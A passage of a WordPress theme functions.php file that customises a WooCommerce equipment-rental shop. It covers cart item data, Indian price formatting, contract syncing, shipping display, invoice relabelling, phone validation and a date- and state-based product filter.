				'key'   => 'Calculated Price',
				'value' => '₹' . $formatted_price,
			];
		}
		
		// ✅ Add Yard Location Attribute
		if (!empty($cart_item['product_id'])) {
			$product_id = $cart_item['product_id'];
			$taxonomy   = 'pa_yard-location';

			$terms = wp_get_post_terms($product_id, $taxonomy);

			if (!is_wp_error($terms) && !empty($terms)) {
				$term_names = wp_list_pluck($terms, 'name');
				$yard_location_output = implode(', ', $term_names);

				if (!empty($yard_location_output)) {
					$item_data[] = [
						'key'   => 'Yard Location',
						'value' => $yard_location_output,
					];
				}
			}
		}

	}
	return $item_data;
}

// Optional: Add custom styles for the item data
add_action('wp_head', 'add_custom_cart_item_data_styles');
function add_custom_cart_item_data_styles()
{
?>
<style>
	.woocommerce-cart-form .variation-data {
		margin-top: 10px;
		background-color: #f9f9f9;
		padding: 10px;
		border: 1px solid #e0e0e0;
	}

	.woocommerce-cart-form .variation-data dt {
		font-weight: bold;
		margin-right: 10px;
		display: inline-block;
		width: 120px;
	}

	.woocommerce-cart-form .variation-data dd {
		display: inline-block;
		margin-left: 0;
	}

	.wc-block-components-product-details.wc-block-components-product-details:last-of-type {
		margin-bottom: 0;
		color: black;
		font-weight: 800;
	}
</style>
<?php
}

// // Display RFQ price in cart
// add_filter('woocommerce_cart_item_price', 'display_rfq_price_in_cart', 10, 3);
// function display_rfq_price_in_cart($price, $cart_item, $cart_item_key) {
//     if (isset($cart_item['rfq_data']['calculated_price'])) {
//         return wc_price($cart_item['rfq_data']['calculated_price']);
//     }
//     return $price;
// }

// Update cart totals with RFQ price
// add_action('woocommerce_before_calculate_totals', 'update_cart_with_rfq_price', 10, 1);
// function update_cart_with_rfq_price($cart) {
//     if (is_admin() && !defined('DOING_AJAX')) return;

//     foreach ($cart->get_cart() as $cart_item) {
//         if (isset($cart_item['rfq_data']['calculated_price'])) {
//             $cart_item['data']->set_price($cart_item['rfq_data']['calculated_price']);
//         }
//     }
// }


/**
 * Update request_quote table after successful order creation
 * Add this code to your theme's functions.php or a custom plugin
 */

// Hook into WooCommerce order creation 
// woocommerce_checkout_create_order
//add_action('woocommerce_checkout_order_processed', 'update_request_quote_after_order', 10, 1);
// add_action('woocommerce_order_status_processing', 'update_request_quote_after_order', 20, 1);

// function update_request_quote_after_order($order_id) {
//     global $wpdb;

//     // Get the order object
//     $order = wc_get_order($order_id);

//     // Get customer ID
//     $customer_id = $order->get_customer_id();

//     if (empty($customer_id)) {
//         error_log("No customer ID for Order #$order_id - skipping update");
//         return; // Stop execution for guest users
//     }

//     // Loop through each order item
//     foreach ($order->get_items() as $item) {
//         $product_id = $item->get_product_id();
//         $item_total = floatval($item->get_total()); // Get this specific line item's total

//         // Update only the latest row in descending order with limit 1
//         $query = $wpdb->prepare(
//             "UPDATE {$wpdb->prefix}request_quote 
//             SET order_id = %d 
//             WHERE user_id = %d 
//             AND product_id = %d 
//             AND CAST(calculated_price AS DECIMAL(10,2)) = %f
//             ORDER BY id DESC LIMIT 1",
//             $order_id,
//             $customer_id,
//             $product_id,
//             $item_total
//         );

//         $result = $wpdb->query($query);

//         // Success Log
//         if ($wpdb->rows_affected > 0) {
//             error_log("Updated Order #$order_id | User: $customer_id | Product: $product_id | Price: $item_total");
//         } else {
//             error_log("No Update for Order #$order_id | User: $customer_id | Product: $product_id | Price: $item_total | SQL: " . $query);
//         }

//         // Optional SQL Error Log
//         if ($wpdb->last_error) {
//             error_log("SQL Error: " . $wpdb->last_error);
//         }
//     }
//     // Add this after your foreach loop
// $table_name = $wpdb->prefix . 'request_quote';
// $result = $wpdb->get_row("SELECT * FROM $table_name WHERE order_id = $order_id", ARRAY_A);

// // Check if we have results
// if ($result) {
//     $rental_amount = $result['calculated_price'];
//     $start_date = $result['start_date'];
//     $end_date = $result['end_date'];
//     $shift = $result['shift'];
//     $model_name = $result['product_name'];


//     update_post_meta($order_id, 'rental_amount', $rental_amount);
//     update_post_meta($order_id, 'start_date', $start_date); 
//     update_post_meta($order_id, 'end_date', $end_date); 
//     update_post_meta($order_id, '_number_shifts_required', $shift);
//     update_post_meta($order_id, 'model_name', $model_name);
//     update_post_meta($order_id, '_order_total');



//     error_log("Updated post meta for Order #$order_id");
// } else {
//     error_log("No request_quote record found for Order #$order_id");
// }
// }

//---end----

//--- Checkout Page Customisation --- Aseema - 07/03/2025

add_action('wp_enqueue_scripts', 'custom_checkout_script');
function custom_checkout_script()
{
    // Only run if WooCommerce is active
//     if ( class_exists('WooCommerce') && function_exists('is_checkout') && is_checkout() ) {
//         wp_enqueue_script(
//             'custom-checkout',
//             get_stylesheet_directory_uri() . '/custom-checkout.js',
//             array('jquery'),
//             null,
//             true
//         );
//     }
	wp_enqueue_style( 'font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css' );
}


// Cart Count--08-03-2025
function woo_cart_count_shortcode() {
    if ( function_exists('WC') && WC()->cart ) {
        $count = WC()->cart->get_cart_contents_count();
        return '<span id="cart_icon" class="cart-count">' . $count . '</span>';
    }
    return '<span id="cart_icon" class="cart-count">0</span>'; // fallback
}
add_shortcode('cart_count', 'woo_cart_count_shortcode');

//-----end----

// Product list page horizontally scrollable-- Bhaskara -- 10-3-2024
function custom_admin_product_list_scroll()
{
	echo '<style>
        /* Make WooCommerce product list horizontally scrollable */
        .wp-list-table.widefat {
            display: block;
            overflow-x: auto;
            white-space: nowrap;
        }

        /* Prevent breaking of text in table cells */
        .wp-list-table.widefat th,
        .wp-list-table.widefat td, {
            min-width: auto; /* Adjust based on column width */
        }

    </style>';
}
add_action('admin_head', 'custom_admin_product_list_scroll');
//----end----
// data from woocommerce order to rental fleet management(rental contracts)
function update_contract_with_product_data($item_id, $item, $order_id)
{
	global $wpdb;

	error_log("🔄 Updating contract with product details for Order ID: $order_id, Item ID: $item_id");

	// Fetch product ID from order item meta
	$product_id = $wpdb->get_var($wpdb->prepare(
		"SELECT meta_value 
         FROM {$wpdb->prefix}woocommerce_order_itemmeta 
         WHERE order_item_id = %d 
         AND meta_key = '_product_id'
         LIMIT 1",
		$item_id
	));

	if (!$product_id) {
		error_log("❌ No product ID found for Item ID: $item_id.");
		return;
	}



	// Fetch required meta values
	$meta_keys = ['equipment_number', 'model_number', 'equipment_serial_number', 'st3st5_field'];
	$meta_values = [];

	foreach ($meta_keys as $key) {
		$meta_values[$key] = $wpdb->get_var($wpdb->prepare(
			"SELECT meta_value 
             FROM {$wpdb->prefix}postmeta 
             WHERE post_id = %d 
             AND meta_key = %s 
             LIMIT 1",
			$product_id,
			$key
		)) ?: ''; // Default to empty string if not found
	}

	error_log("✅ Product ID: $product_id | Equipment Number: {$meta_values['equipment_number']} | Model Number: {$meta_values['model_number']} | Equipment Serial No: {$meta_values['equipment_serial_number']}");

	// Update contracts table
	$contracts_table = $wpdb->prefix . 'contracts';
	$updated = $wpdb->update(
		$contracts_table,
		array(
			'product_id' => $product_id,
			'equipment_number' => $meta_values['equipment_number'],
			'equipment_model_no' => $meta_values['model_number'],
			'equipment_serial_no' => $meta_values['equipment_serial_number'],
			'st3st5_field' => $meta_values['st3st5_field']
		),
		array('rms_contract_id' => $order_id),
		array('%d', '%s', '%s', '%s', '%s'),
		array('%d')
	);

	if ($updated === false) {
		error_log("⚠️ Failed to update contract for Order ID: $order_id.");
	} else {
		error_log("✅ Successfully updated contract for Order ID: $order_id.");
	}
}

// Hook: When a new order item is added
add_action('woocommerce_new_order_item', 'update_contract_with_product_data', 10, 3);


function sync_contract_with_product_meta($meta_id, $post_id, $meta_key, $_meta_value)
{
	global $wpdb;

	// List of relevant meta keys
	$tracked_keys = ['equipment_number', 'model_number', 'equipment_serial_number', 'st3st5_field'];

	if (!in_array($meta_key, $tracked_keys)) {
		return; // Ignore other meta updates
	}

	error_log("🔄 Meta key updated: $meta_key for Product ID: $post_id");

	// Fetch order_id from contracts table using product_id
	$contract = $wpdb->get_row($wpdb->prepare(
		"SELECT rms_contract_id FROM {$wpdb->prefix}contracts WHERE product_id = %d LIMIT 1",
		$post_id
	));

	if (!$contract) {
		error_log("❌ No contract found for Product ID: $post_id.");
		return;
	}

	$order_id = $contract->rms_contract_id;

	// Fetch updated meta values
	$meta_values = [];
	foreach ($tracked_keys as $key) {
		$meta_values[$key] = $wpdb->get_var($wpdb->prepare(
			"SELECT meta_value FROM {$wpdb->prefix}postmeta WHERE post_id = %d AND meta_key = %s LIMIT 1",
			$post_id,
			$key
		)) ?: '';
	}

	// Update contracts table
	$contracts_table = $wpdb->prefix . 'contracts';
	$updated = $wpdb->update(
		$contracts_table,
		array(
			'equipment_number' => $meta_values['equipment_number'],
			'equipment_model_no' => $meta_values['model_number'],
			'equipment_serial_no' => $meta_values['equipment_serial_number'],
			'st3st5_field' => $meta_values['st3st5_field'],
		),
		array('rms_contract_id' => $order_id),
		array('%s', '%s', '%s', '%s'),
		array('%d')
	);

	if ($updated === false) {
		error_log("⚠️ Failed to update contract for Order ID: $order_id.");
	} else {
		error_log("✅ Contract updated for Order ID: $order_id.");
	}
}

// Hook: When meta values change
add_action('updated_post_meta', 'sync_contract_with_product_meta', 10, 4);

// Display banner on product based on purpose-of-listing attribute

function add_product_banner_based_on_attribute()
{
	global $product;

	// Check if we're on a single product page and product exists
	if (!is_product() || !$product) {
		return;
	}

	// Get the 'purpose-of-listing' attribute value
	$purpose = $product->get_attribute('purpose-of-listing');

	// If no attribute value, exit
	if (empty($purpose)) {
		return;
	}

	// Determine the banner text based on purpose value
	$banner_text = '';
	$banner_class = '';

	if (strpos(strtolower($purpose), 'model') !== false) {
		$banner_text = 'New Equipment';
		$banner_class = 'new-eq-banner';
	}
	// elseif (strpos(strtolower($purpose), 'renting') !== false) {
	//     $banner_text = 'Available';
	//     $banner_class = 'available-banner';
	// }

	// If we have banner text, output the HTML
	if (!empty($banner_text)) {
		echo '<div class="product-banner ' . esc_attr($banner_class) . '" style="
            position: absolute;
            top: 3px;
            left: 3px;
            padding: 1px 6px;
            color: #000;
            font-weight: bold;
            z-index: 10;
            font-size: 14px;
            background-color: #ffbd2b;">
            ' . esc_html($banner_text) . '
        </div>
        <style>
         .available-banner {
            background-color: #2196F3; 
        } 
        .new-eq-banner {
            background-color: #ffbd2b;
        }
        </style>';
	}
}

// Hook into WooCommerce template
add_action('woocommerce_before_single_product_summary', 'add_product_banner_based_on_attribute', 5);

function add_product_banner_on_archive()
{
	global $product;

	// Check if product exists
	if (!$product) {
		return;
	}

	// Get the 'purpose-of-listing' attribute value
	$purpose = $product->get_attribute('purpose-of-listing');

	// If no attribute value, exit
	if (empty($purpose)) {
		return;
	}

	// Determine the banner text based on purpose value
	$banner_text = '';
	$banner_class = '';

	if (strpos(strtolower($purpose), 'model') !== false) {
		$banner_text = 'New Equipment';
		$banner_class = 'new-eq-banner';
	}
	// elseif (strpos(strtolower($purpose), 'renting') !== false) {
	//     $banner_text = 'Available';
	//     $banner_class = 'available-banner';
	// }

	// If we have banner text, output the HTML
	if (!empty($banner_text)) {
		echo '<div class="product-banner ' . esc_attr($banner_class) . '" style="
            position: absolute;
            top: 3px;
            left: 3px;
            padding: 1px 6px;
            color: #000;
            font-weight: bold;
            z-index: 10;
            font-size: 14px;
            ' . ($banner_class == 'new-eq-banner' ? 'background-color: #ffbd2b;' : 'background-color: #2196F3;') . '">
            ' . esc_html($banner_text) . '
        </div>
        <style>
         .available-banner {
            background-color: #2196F3; 
        } 
        .new-eq-banner {
            background-color: #ffbd2b;
        }
        </style>';
	}
}

add_action('woocommerce_before_shop_loop_item_title', 'add_product_banner_on_archive', 5);

//------BHaskara-24-03-2025-------------/
// // Remove shipping calculator from cart page
// add_filter('woocommerce_cart_shipping_method_full_label', 'remove_shipping_label', 10, 2);
// function remove_shipping_label($label, $method) {
//     $new_label = preg_replace('/^.+:/', '', $label);
//     return $new_label;
// }

// // Remove shipping info from cart totals
// add_filter('woocommerce_cart_totals_before_shipping', 'remove_cart_totals_shipping_html');
// add_filter('woocommerce_cart_totals_after_shipping', 'remove_cart_totals_shipping_html');
// function remove_cart_totals_shipping_html() {
//     ob_start();
//     return;
// }

// // Hide shipping calculator on cart page
// add_filter('woocommerce_shipping_calculator_enable_button', '__return_false');

// // Hide shipping fields on checkout page but keep functionality
// add_filter('woocommerce_shipping_fields', 'custom_override_shipping_fields');
// function custom_override_shipping_fields($fields) {
//     foreach ($fields as $key => $field) {
//         $fields[$key]['class'][] = 'hidden-field';
//     }
//     return $fields;
// }

// Remove shipping row from order details table
add_filter('woocommerce_get_order_item_totals', 'remove_shipping_from_order_details', 10, 2);
function remove_shipping_from_order_details($total_rows, $order)
{
	// Remove the shipping method row
	if (isset($total_rows['shipping'])) {
		unset($total_rows['shipping']);
	}
	return $total_rows;
}

// remove Shipping method from existing orders in admin display
add_filter('woocommerce_order_get_items', 'filter_order_items_admin', 10, 3);
function filter_order_items_admin($items, $order, $types)
{
	// Only modify in admin area
	if (is_admin()) {
		foreach ($items as $item_id => $item) {
			if ($item->is_type('shipping')) {
				$shipping_cost = $item->get_total();
				if ($shipping_cost == 0) {
					unset($items[$item_id]);
				}
			}
		}
	}
	return $items;
}
add_filter('woocommerce_cart_needs_shipping_address', '__return_true');
add_filter('woocommerce_shipping_calculator_enable_postcode', '__return_true');
add_filter('woocommerce_shipping_calculator_enable_city', '__return_true');
add_filter('woocommerce_shipping_calculator_enable_state', '__return_true');
add_filter('woocommerce_no_shipping_available_html', '__return_empty_string');
add_filter('woocommerce_cart_no_shipping_available_html', '__return_empty_string');

add_action('woocommerce_checkout_update_order_meta', function ($order_id) {
	$order = wc_get_order($order_id);
	// Check if shipping address is empty
	if (empty($order->get_shipping_address_1())) {
		// Get shipping fields from posted checkout data
		$shipping_address = array(
			'first_name' => isset($_POST['shipping_first_name']) ? sanitize_text_field($_POST['shipping_first_name']) : '',
			'last_name' => isset($_POST['shipping_last_name']) ? sanitize_text_field($_POST['shipping_last_name']) : '',
			'company' => isset($_POST['shipping_company']) ? sanitize_text_field($_POST['shipping_company']) : '',
			'address_1' => isset($_POST['shipping_address_1']) ? sanitize_text_field($_POST['shipping_address_1']) : '',
			'address_2' => isset($_POST['shipping_address_2']) ? sanitize_text_field($_POST['shipping_address_2']) : '',
			'city' => isset($_POST['shipping_city']) ? sanitize_text_field($_POST['shipping_city']) : '',
			'state' => isset($_POST['shipping_state']) ? sanitize_text_field($_POST['shipping_state']) : '',
			'postcode' => isset($_POST['shipping_postcode']) ? sanitize_text_field($_POST['shipping_postcode']) : '',
			'country' => isset($_POST['shipping_country']) ? sanitize_text_field($_POST['shipping_country']) : '',
		);

		// Set and save shipping address manually
		$order->set_shipping_first_name($shipping_address['first_name']);
		$order->set_shipping_last_name($shipping_address['last_name']);
		$order->set_shipping_company($shipping_address['company']);
		$order->set_shipping_address_1($shipping_address['address_1']);
		$order->set_shipping_address_2($shipping_address['address_2']);
		$order->set_shipping_city($shipping_address['city']);
		$order->set_shipping_state($shipping_address['state']);
		$order->set_shipping_postcode($shipping_address['postcode']);
		$order->set_shipping_country($shipping_address['country']);

		// Save the updated order details
		$order->save();
	}
});

// add_filter('woocommerce_order_get_formatted_shipping_address', function($address, $order) {
//     // Only apply this on the Thank You page
//     if (is_wc_endpoint_url('order-received')) {
//         if (!empty($order->get_shipping_address_1())) {
//             return WC()->countries->get_formatted_address(array(
//                 'first_name' => $order->get_shipping_first_name(),
//                 'last_name'  => $order->get_shipping_last_name(),
//                 'company'    => $order->get_shipping_company(),
//                 'address_1'  => $order->get_shipping_address_1(),
//                 'address_2'  => $order->get_shipping_address_2(),
//                 'city'       => $order->get_shipping_city(),
//                 'state'      => $order->get_shipping_state(),
//                 'postcode'   => $order->get_shipping_postcode(),
//                 'country'    => $order->get_shipping_country(),
//             ));
//         }
//     }
//     return $address;
// }, 10, 2);



// ---------------Price Format--Bhaskara---24/03/2025--------------------
// Core function to format price in Indian style
function format_indian_price($price, $decimals = 2, $decimal_separator = '.')
{
	$price = floatval($price);
	$whole = floor($price); // Integer part
	$decimal = round(($price - $whole) * pow(10, $decimals), $decimals); // Decimal part

	// Format the whole number in Indian style
	$indian_format = number_format($whole, 0, '', '');
	if ($whole >= 1000) {
		$last_three = substr($indian_format, -3);
		$rest = substr($indian_format, 0, -3);
		$rest = strrev(implode(',', str_split(strrev($rest), 2))); // Split every 2 digits after last 3
		$indian_format = $rest . ',' . $last_three;
	}

	// Add decimal if applicable
	if ($decimals > 0 && $decimal > 0) {
		$indian_format .= $decimal_separator . str_pad($decimal, $decimals, '0', STR_PAD_LEFT);
	}

	// Add currency symbol based on position
	$currency_symbol = get_woocommerce_currency_symbol();
	$currency_pos = get_option('woocommerce_currency_pos');
	switch ($currency_pos) {
		case 'left':
			return $currency_symbol . $indian_format;
		case 'right':
			return $indian_format . $currency_symbol;
		case 'left_space':
			return $currency_symbol . ' ' . $indian_format;
		case 'right_space':
			return $indian_format . ' ' . $currency_symbol;
		default:
			return $currency_symbol . $indian_format;
	}
}

// Adjust the base price format to avoid symbol duplication
add_filter('woocommerce_price_format', 'custom_woocommerce_price_format', 10, 2);
function custom_woocommerce_price_format($format, $currency_pos)
{
	return '%2$s'; // Only the price, symbol added in custom filter
}

// Apply Indian format to all WooCommerce prices
add_filter('formatted_woocommerce_price', 'custom_indian_price_format', 100, 5);
function custom_indian_price_format($formatted_price, $price, $decimals, $decimal_separator, $thousand_separator)
{
	return format_indian_price($price, $decimals, $decimal_separator);
}

// Display RFQ price in cart with Indian format
add_filter('woocommerce_cart_item_price', 'display_rfq_price_in_cart', 10, 3);
function display_rfq_price_in_cart($price, $cart_item, $cart_item_key)
{
	if (isset($cart_item['rfq_data']['calculated_price'])) {
		$calculated_price = $cart_item['rfq_data']['calculated_price'];
		return format_indian_price($calculated_price, wc_get_price_decimals(), wc_get_price_decimal_separator());
	}
	return $price;
}

// Update cart totals with RFQ price
add_action('woocommerce_before_calculate_totals', 'update_cart_with_rfq_price', 10, 1);
function update_cart_with_rfq_price($cart)
{
	if (is_admin() && !defined('DOING_AJAX'))
		return;

	foreach ($cart->get_cart() as $cart_item) {
		if (isset($cart_item['rfq_data']['calculated_price'])) {
			//echo $cart_item['rfq_data']['calculated_price'];
			$cart_item['data']->set_price($cart_item['rfq_data']['calculated_price']);
		}
	}
}

// Target WooCommerce Blocks price rendering
add_filter('wc_price_args', 'custom_wc_price_args_for_blocks', 100);
function custom_wc_price_args_for_blocks($args)
{
	$args['price_format_callback'] = function ($price) use ($args) {
		return format_indian_price($price, $args['decimals'], $args['decimal_separator']);
	};
	$args['thousand_separator'] = ''; // Clear default separator
	return $args;
}

// Fix cart totals for WooCommerce Blocks
add_filter('woocommerce_blocks_cart_totals', 'custom_cart_totals_block_format', 100, 2);
function custom_cart_totals_block_format($cart_totals, $cart)
{
	$decimals = wc_get_price_decimals();
	$decimal_separator = wc_get_price_decimal_separator();

	// Format subtotal
	if (isset($cart_totals['subtotal'])) {
		$cart_totals['subtotal'] = format_indian_price($cart->get_subtotal(), $decimals, $decimal_separator);
	}

	// Format total
	if (isset($cart_totals['total_price'])) {
		$cart_totals['total_price'] = format_indian_price($cart->get_total('edit'), $decimals, $decimal_separator);
	}

	return $cart_totals;
}

// JavaScript fallback for cart page (WooCommerce Blocks)
add_action('wp_enqueue_scripts', 'enqueue_indian_price_format_script');
function enqueue_indian_price_format_script()
{
	if ( class_exists('WooCommerce') && function_exists('is_cart') && is_cart() ) {
		wc_enqueue_js("
            function formatIndianPrice(price) {
                let [whole, decimal] = price.toString().split('.');
                whole = whole.replace(/[^0-9]/g, ''); // Remove non-numeric chars (like ₹)
                let lastThree = whole.slice(-3);
                let rest = whole.slice(0, -3);
                if (rest) {
                    rest = rest.replace(/\B(?=(?:\d{2})+(?!\d))/g, ',');
                    return '₹' + rest + ',' + lastThree + (decimal ? '.' + decimal : '');
                }
                return '₹' + whole + (decimal ? '.' + decimal : '');
            }

            function updateCartPrices() {
                document.querySelectorAll('.wc-block-formatted-money-amount').forEach(function(element) {
                    let priceText = element.textContent.trim();
                    let priceNum = parseFloat(priceText.replace(/[^0-9.]/g, ''));
                    if (!isNaN(priceNum)) {
                        element.textContent = formatIndianPrice(priceNum);
                    }
                });
            }

            // Run on page load and after cart updates
            updateCartPrices();
            document.addEventListener('wc-blocks_cart_updated', updateCartPrices);
        ");
	}
}

// Optional: Adjust WooCommerce settings to avoid conflicts
add_filter('woocommerce_get_settings_general', 'custom_currency_settings');
function custom_currency_settings($settings)
{
	foreach ($settings as &$setting) {
		if ($setting['id'] == 'woocommerce_price_thousand_sep') {
			$setting['default'] = ''; // Empty to avoid interference
		}
		if ($setting['id'] == 'woocommerce_price_decimal_sep') {
			$setting['default'] = '.'; // Decimal separator
		}
		if ($setting['id'] == 'woocommerce_price_num_decimals') {
			$setting['default'] = 2; // Number of decimals
		}
	}
	return $settings;
}

//------Rename Invoice to Payment Receipt--Bhaskara--24/03/2025----
//Change the Payment Recipt Metabox title and button text PHP solution

// First part: Change the metabox title
function modify_invoice_metabox_title()
{
	global $wp_meta_boxes;

	$post_types = ['shop_order']; // You can add more post types if needed
	$contexts = ['normal', 'advanced', 'side'];
	$priorities = ['high', 'core', 'default', 'low'];

	foreach ($post_types as $post_type) {
		foreach ($contexts as $context) {
			foreach ($priorities as $priority) {
				if (isset($wp_meta_boxes[$post_type][$context][$priority]['woocommerce-packinglist-box'])) {
					$wp_meta_boxes[$post_type][$context][$priority]['woocommerce-packinglist-box']['title'] = 'Payment Receipt';
				}
			}
		}
	}
}
add_action('add_meta_boxes', 'modify_invoice_metabox_title', 999);

// Second part: Change text inside the metabox using output buffering
function modify_invoice_text()
{
	global $post_type;

	if ($post_type !== 'shop_order') {
		return;
	}

	ob_start(function ($buffer) {
		// Replace "Invoice Number:" text
		$buffer = str_replace('Invoice Number:', 'Receipt Number:', $buffer);

		// Replace button text
		$buffer = str_replace('<div class="wt_pklist_btn_text">Invoice</div>', '<div class="wt_pklist_btn_text">Payment Receipt</div>', $buffer);

		// Replace tooltip text
		$buffer = str_replace('title="Download Invoice"', 'title="Download Payment Receipt"', $buffer);
		$buffer = str_replace('title="Print Invoice"', 'title="Print Payment Receipt"', $buffer);

		// Replace screen reader text
		$buffer = preg_replace('/<span class="screen-reader-text">(.*?)Invoice(.*?)<\/span>/', '<span class="screen-reader-text">$1Payment Receipt$2</span>', $buffer);

		// Replace hidden spans with descriptions
		$buffer = preg_replace('/<span class="hidden" id="(.*?)">.*?Invoice.*?<\/span>/', '<span class="hidden" id="$1">Move Payment Receipt box down</span>', $buffer);

		return $buffer;
	});
}
function end_invoice_text_modification()
{
	if (ob_get_level()) {
		ob_end_flush();
	}
}

add_action('admin_head-post.php', 'modify_invoice_text');
add_action('admin_footer', 'end_invoice_text_modification', 999);

function add_custom_invoice_text_script()
{
	global $pagenow, $post_type;

	// For order list page
	if ($pagenow == 'edit.php' && $post_type == 'shop_order') {
?>
<script type="text/javascript">
jQuery(document).ready(function($) {
    // Change column header text from "Invoice" to "Payment Receipt"
    $('th#Invoice span:first').text('Receipt No');

    // Function to fix screen options text
    function updateScreenOptions() {
        // Target the specific label by finding the input with value="Invoice"
        $('input.hide-column-tog[value="Invoice"]').each(function() {
            // Get the parent label
            var $label = $(this).parent('label');

            // Replace only the text node, not the entire HTML content
            var labelText = $label.contents().filter(function() {
                return this.nodeType === 3; // Text nodes only
            }).last();

            if (labelText.length > 0) {
                labelText[0].nodeValue = 'Receipt No';
            }
        });
    }

    // Run immediately
    updateScreenOptions();

    // Also run when screen options are clicked
    $('#show-settings-link').on('click', function() {
        // Use setTimeout to ensure the options are fully loaded
        setTimeout(updateScreenOptions, 100);
    });

    // Add a mutation observer to catch dynamically loaded content
    var observer = new MutationObserver(function(mutations) {
        updateScreenOptions();
    });

    // Start observing the screen options area
    var screenOptionsWrap = document.getElementById('screen-options-wrap');
    if (screenOptionsWrap) {
        observer.observe(screenOptionsWrap, {
            childList: true,
            subtree: true
        });
    }
});
</script>
<?php
	}

	// For single order edit page (unchanged)
	if ($pagenow == 'post.php' && $post_type == 'shop_order') {
?>
<script type="text/javascript">
jQuery(document).ready(function($) {
    // Change the metabox title
    $('#woocommerce-packinglist-box h2.hndle').text('Payment Receipt');

    // Change the button text from "Invoice" to "Payment Receipt"
    $('.wt_pklist_btn_text').text('Payment Receipt');

    // Change "Invoice Number:" text to "Receipt Number:"
    $('#woocommerce-packinglist-box td').each(function() {
        var text = $(this).html();
        if (text.includes('Invoice Number:')) {
            $(this).html(text.replace('Invoice Number:', 'Receipt Number:'));
        }
    });

    // Change the tooltips for consistency
    $('a[title="Download Invoice"]').attr('title', 'Download Payment Receipt');
    $('a[title="Print Invoice"]').attr('title', 'Print Payment Receipt');

    // If the text appears in screen reader text, update that too
    $('.screen-reader-text:contains("Invoice")').each(function() {
        var text = $(this).text();
        $(this).text(text.replace('Invoice', 'Payment Receipt'));
    });

    // Update any hidden spans with Invoice descriptions
    $('span.hidden:contains("Invoice")').each(function() {
        var text = $(this).text();
        $(this).text(text.replace('Invoice', 'Payment Receipt'));
    });
});
</script>
<?php
	}
}
add_action('admin_footer', 'add_custom_invoice_text_script');

// billing phone should not accept varchar and should not more than 10 length --Aseema

add_filter('woocommerce_checkout_fields', 'custom_checkout_phone_number_type');
function custom_checkout_phone_number_type($fields)
{
	$fields['billing']['billing_phone']['type'] = 'number';
	$fields['billing']['billing_phone']['custom_attributes'] = array(
		'inputmode' => 'numeric',
		'maxlength' => '10',
		'min' => '0',
		'oninput' => "this.value = this.value.replace(/[^0-9]/g, '');"
	);
	return $fields;
}
add_action('woocommerce_checkout_process', 'validate_billing_phone');
function validate_billing_phone()
{
	if (!isset($_POST['billing_phone']) || !preg_match('/^\d{10}$/', $_POST['billing_phone'])) {
		wc_add_notice(__('Please enter a valid 10-digit phone number.'), 'error');
	}
}



// -----------------------------------------------------------------------------
// Enqueue and localize script
function child_enqueue_ajax_script()
{
	wp_enqueue_script('child-custom-js', get_stylesheet_directory_uri() . '/js/custom-js.js', array('jquery'), null, true);
}
add_action('wp_enqueue_scripts', 'child_enqueue_ajax_script');

// ----------------------------------------------------------------------------------------- Redirect 
add_action('template_redirect', 'redirect_rent_to_category');
function redirect_rent_to_category()
{
	if (trim($_SERVER['REQUEST_URI'], '/') === 'gmmco/rent') {
		wp_redirect(home_url('/product-category/rent/'), 301);
		exit;
	}
}


// --------------------------------------------------------------------------------------------Show All 
function show_all_products_on_custom_shop($query)
{
	if (!is_admin() && $query->is_main_query() && is_post_type_archive('product')) {
		$query->set('posts_per_page', -1); // Show all products
		// Exclude out of stock products
        $meta_query = $query->get('meta_query') ? $query->get('meta_query') : array();
        $meta_query[] = array(
            'key'     => '_stock_status',
            'value'   => 'outofstock',
            'compare' => '!='
        );
        $query->set('meta_query', $meta_query);
	}
}
add_action('pre_get_posts', 'show_all_products_on_custom_shop');


// ----------------------------------------------------------- Show Products 
add_action('wp_ajax_filter_products', 'filter_products_ajax_handler');
add_action('wp_ajax_nopriv_filter_products', 'filter_products_ajax_handler');

function filter_products_ajax_handler() {
    global $wpdb;

    $start_date = sanitize_text_field($_POST['start_date'] ?? '');
    $end_date   = sanitize_text_field($_POST['end_date'] ?? '');
    $state      = sanitize_text_field($_POST['state'] ?? '');
    $district   = sanitize_text_field($_POST['district'] ?? '');
    $paged      = isset($_POST['paged']) ? max(1, intval($_POST['paged'])) : 1;
    $posts_per_page = 100;

    // Step 1: Exclude overlapping bookings
    $excluded_product_ids = [];
    if (!empty($start_date) && !empty($end_date)) {
        $table = $wpdb->prefix . 'request_quote';
        $results = $wpdb->get_col(
            $wpdb->prepare(
                "SELECT product_id FROM $table
                WHERE (
                    (start_date BETWEEN %s AND %s)
                    OR (end_date BETWEEN %s AND %s)
                    OR (%s BETWEEN start_date AND end_date)
                    OR (%s BETWEEN start_date AND end_date)
                ) AND order_id != 0",
                $start_date, $end_date, $start_date, $end_date, $start_date, $end_date
            )
        );
        if ($results) {
            $excluded_product_ids = array_map('absint', $results);
        }
    }

    // Step 2: State → Yard mapping (example data)
    $state_to_yards = [
        'Maharashtra'    => ['Butibori', 'Sategaon'],
        'Chhattisgarh'   => ['Raipur', 'Raigarh'],
        'Madhya Pradesh' => ['Jabalpur', 'Indore', 'Bhopal', 'Satna'],
        'Telangana'      => ['Hyderabad'],
        'Karnataka'      => ['Hospet', 'Mysore'],
        'Tamil Nadu'     => ['Koppur', 'Tirunelveli'],
        'Gujarat'        => ['Ahmedabad', 'Surat', 'Rajkot'],
		'Andhra Pradesh' => ['Vijayawada', 'Vizag', 'Chimakurthy'],
		'Kerala'         => ['Kannur'],
    ];
    // Step 2b: Nearby State Mapping
//     $nearby_state_map = [
//         'Andhra Pradesh' => ['Telangana', 'Tamil Nadu', 'Karnataka', 'Odisha', 'Chhattisgarh'],
//         'Gujarat'        => ['Madhya Pradesh', 'Maharashtra', 'Rajasthan', 'Daman and Diu', 'Dadra and Nagar Haveli'],
//         'Chandigarh'     => ['Punjab', 'Haryana', 'Himachal Pradesh'],
//         'Delhi'          => ['Haryana', 'Uttar Pradesh', 'Rajasthan'],
//         'Goa'            => ['Maharashtra', 'Karnataka'],
//         'Karnataka'      => ['Maharashtra', 'Telangana', 'Tamil Nadu', 'Kerala', 'Goa'],
//         'Kerala'         => ['Karnataka', 'Tamil Nadu'],
//         'Madhya Pradesh' => ['Maharashtra', 'Chhattisgarh', 'Uttar Pradesh', 'Rajasthan', 'Gujarat'],
//         'Maharashtra'    => ['Madhya Pradesh', 'Chhattisgarh', 'Telangana', 'Karnataka', 'Goa', 'Gujarat'],
//         'Tamil Nadu'     => ['Karnataka', 'Kerala', 'Andhra Pradesh'],
//         'Telangana'      => ['Maharashtra', 'Karnataka', 'Andhra Pradesh', 'Chhattisgarh'],
